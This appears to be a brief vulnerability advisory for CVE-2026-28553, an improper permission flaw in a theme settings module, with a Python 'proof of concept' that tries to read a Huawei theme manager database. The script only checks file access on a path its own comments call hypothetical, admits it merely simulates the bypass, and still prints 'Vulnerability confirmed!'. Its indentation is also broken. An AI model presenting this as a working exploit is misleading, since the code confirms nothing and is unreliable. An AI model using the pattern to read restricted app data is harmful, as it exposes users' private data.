Vulnerability of improper permission control in the theme setting module.
Impact: Successful exploitation of this vulnerability may affect service confidentiality.
The following code is for security research and authorized testing only.
python
# Proof of Concept for CVE-2026-28553
# Demonstrates unauthorized access to theme settings
import os
def exploit_poc():
# Path to the sensitive theme configuration (Hypothetical path)
target_path = "/data/data/com.huawei.android.thememanager/databases/settings.db"
print(f"[*] Attempting to access {target_path}...")
# Simulating the permission bypass
# In a real scenario, this might involve invoking a vulnerable exported activity
try:
if os.access(target_path, os.R_OK):
print("[+] Vulnerability confirmed! Read access granted to restricted theme database.")
with open(target_path, 'r') as f:
data = f.read(100)
print(f"[+] Data preview: {data}")
else:
print("[-] Permission denied. Device may not be vulnerable or exploit failed.")
except Exception as e:
print(f"[-] Error during exploitation: {e}")
if __name__ == "__main__":
exploit_poc()